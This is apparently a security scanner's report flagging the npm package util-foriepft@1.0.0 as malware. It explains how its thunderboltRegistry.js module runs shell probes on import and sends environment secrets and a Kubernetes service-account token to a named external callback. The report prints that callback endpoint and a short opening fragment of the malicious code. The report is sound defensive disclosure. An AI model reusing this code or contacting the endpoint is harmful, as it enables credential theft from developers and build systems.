util-foriepft@1.0.0
Utility helpers
AI Security Review
scanned 8d ago · by lpm-firewall-aiThe published module contains an active collection and exfiltration path that runs on import when shell execution is available. This supports a malicious verdict and publish block.
Static reason
No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
A consumer imports thunderboltRegistry.js in a runtime with child_process.execSync available.
Impact
Environment values and service-account credentials can be disclosed to the remote recipient.
Mechanism
The module executes shell commands to inspect environment and container data, including a Kubernetes service-account token, then transmits the output over HTTP or HTTPS.
Attack narrative
Importing thunderboltRegistry.js immediately starts shell-based host and container probes. The code collects environment values and reads the Kubernetes service-account token, then sends the results to a fixed external callback. package.json lists this module among the published files, so consumers can load the active payload directly.
AI rationale
The published module contains an active collection and exfiltration path that runs on import when shell execution is available. This supports a malicious verdict and publish block.
Evidence
package.jsonthunderboltRegistry.js
Network endpoints1
dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json includes thunderboltRegistry.js in the published files.
- thunderboltRegistry.js starts an immediate function and sets a fixed external callback while loading child_process.
- When loaded, the module runs shell commands through execSync if available.
- The commands collect environment values matching secret and token names and send the results.
- The module reads the Kubernetes service-account token and sends it.
- Collected data is transmitted to the fixed callback using fetch, with an HTTPS fallback.
Evidence against
Behavioral surface
ChildProcessNetworkShell
HighEntropyStringsUrlStrings
Source & flagged code
8 flagged · loading sourcethunderboltRegistry.jsView file
•matchType = normalized_sha256
matchedPackage = css-overscroll-contain@1.0.1
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:Y3NzLW92ZXJzY3JvbGwtY29udGFpbg:1.0.1
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
thunderboltRegistry.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = 695d3e5739ca0025
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = css-overscroll-contain@1.0.1
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:Y3NzLW92ZXJzY3JvbGwtY29udGFpbg:1.0.1
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
thunderboltRegistry.jsView on unpkg1(function(){
var wh = "https://dxpoc.gt.tc/callback.[redacted]";
var cp = null;
try { cp = require("child_process"); } catch(e) {}
try { if (!cp)
High
Findings
8 High1 Medium2 Low
HighKnown Malware Source SimilaritythunderboltRegistry.js
HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js
HighAi Review Evidencepackage.json
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
MediumNetwork
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to util-foriepft@1.0.0.
See all versions of util-foriepft for other recorded verdicts.
- Avoid installing util-foriepft@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.